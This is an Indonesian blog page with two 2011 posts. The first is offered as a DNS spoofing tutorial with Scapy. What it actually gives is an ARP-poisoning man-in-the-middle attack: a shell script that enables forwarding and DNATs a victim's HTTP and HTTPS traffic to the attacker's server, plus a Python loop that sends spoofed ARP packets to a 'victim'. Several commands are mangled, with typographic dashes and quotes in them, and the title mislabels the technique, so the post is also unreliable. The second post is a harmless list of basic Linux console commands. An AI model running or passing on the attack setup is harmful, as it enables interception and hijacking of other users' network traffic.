Showing posts with label Linux. Show all posts
Showing posts with label Linux. Show all posts

22 October 2011

DNS Spoofing Dengan Scapy

0

Aku mau share cara nya DNS Spofing Dengan Scapy..

Yang harus di siapin :
OS Linux yang udah terinstal Scapy ama pyton

Konfigurasinya :
  • yang pertama harus di lakukan adalah IP forwading.
    echo 1 > /proc/sys/net/ipv4/ip_forward


  • terus non aktivin ICMP redirect.
    echo 0 > /proc/sys/net/ipv4/conf/$INTERFACE/send_redirects


  • terus IP tables setting

    iptables –flush
    iptables –zero
    iptables –delete-chain
    iptables -F -t nat

    iptables –append FORWARD –in-interface wlan0/eth0 –jump ACCEPT
    iptables –table nat –append POSTROUTING –out-interface wlan0/eth0 –jump MASQUERADE
    iptables -t nat -A PREROUTING -p tcp –dport 80 –jump DNAT –to-destination 10.42.43.23
    iptables -t nat -A PREROUTING -p tcp –dport 443 –jump DNAT –to-destination 10.42.43.23


  • ini bash scriptnya, biar ga usah ngetik lagi di console.
    #!/bin/sh
    INTERFACE=”wlan0″ #cek interface dg mengetikan ifconfig di terminal
    SERVERWEB=’10.42.43.23′ #ip ente

    echo 1 > /proc/sys/net/ipv4/ip_forward
    echo 0 > /proc/sys/net/ipv4/conf/$INTERFACE/send_redirects

    #clear rule..
    iptables –flush
    iptables –zero
    iptables –delete-chain
    iptables -F -t nat

    iptables –append FORWARD –in-interface $INTERFACE –jump ACCEPT
    iptables –table nat –append POSTROUTING –out-interface $INTERFACE –jump MASQUERADE

    #rendirect traffic.. on my server/proxy
    iptables -t nat -A PREROUTING -p tcp –dport 80 –jump DNAT –to-destination $SERVERWEB
    iptables -t nat -A PREROUTING -p tcp –dport 443 –jump DNAT –to-destination $SERVERWEB

    save dengan extensi .sh


  • terus kode pytonnya
    from scapy.all import *;
    from time import sleep;
    conf.iface=’wlan0′;#network card

    target=”10.42.43.1″;#target /victim

    router=”10.42.43.1″;#routernya

    packet = ARP(); #bikin packet :P

    packet.psrc = router # Gateway

    packet.pdst = target # victim v.v

    try:
    while 1:
    send(packet, verbose=0);
    sleep(50);
    except:
    pass

    save dengan extensi .py


  • sekarang kita lakukan penyesuaian.
    INTERFACE=”wlan0″ (cek interface dengan ifconfig di terminal)
    SERVERWEB=’10.42.43.23′ #ip ente

    network card yang konek dengan internet serta ip lokal kamu
    &
    target=”10.42.43.19″;#target /victim

    router=”10.42.43.1″;#routernya

    kalau ingin semua permintaan paket client berpindah ke web server kamu
    target=”10.42.43.19/24″;#target /victim

    dengan begitu semua IP lokal client akan di alihkan ke IP local kamu…:D


  • eksekusi :
    ichamedusa@359imbox:~$/home/ichamedusa$ ./nama.sh
    ichamedusa@359imbox:~$/home/ichamedusa$ python nama.py
    Click toRead More

    21 October 2011

    Perintah Dasar Console Linux

    0

    1. ls , adalah perintah untuk menampilkan isi direktori.
      beberapa variasi dari ls:
      ls -r menampilkan direktori dan isinya.
      ls -m menampilkan file dengan koma sebagai pembagi
      ls -a menampilkan file dan file yang tersembunyi
      ls *.txt menampilkan file dengan ekstensi
      ls – -colour menampilkan file dan direkstori dengan perbedaan warna.

    2. cd digunakan untuk pindah direktori,
      cd [direktori yang dituju]

    3. find adalah perintah mencari file,
      find [direktori] [opsi] [aksi]

    4. rm adalah perintah menghapus file
      rm [nama file]

    5. cp adalah perintah menyalin file dan direktori.
      cp [file sumber] [file_target/ direktori]

    6. mv adalah perintah mengganti nama file dan memindahkan file.
      mengganti file : mv [filesumber] [file target] dalam satu direktori
      memindahkan file : mv [file sumber] [direktori target]

    7. mkdir adalah perintah untuk membuat direktori.
      mkdir [nama direktori]

    8. who am i adalah perintah untuk mengetahui siapa kita user atau super user.

    9. whereis mencari tahu keberadaan file – file tertentu misal kernel, .conf dll.
      whereis [namafile]


    10. Kalo ada kurangnya tambah di komentar aja yah..
    Click toRead More

    Advertise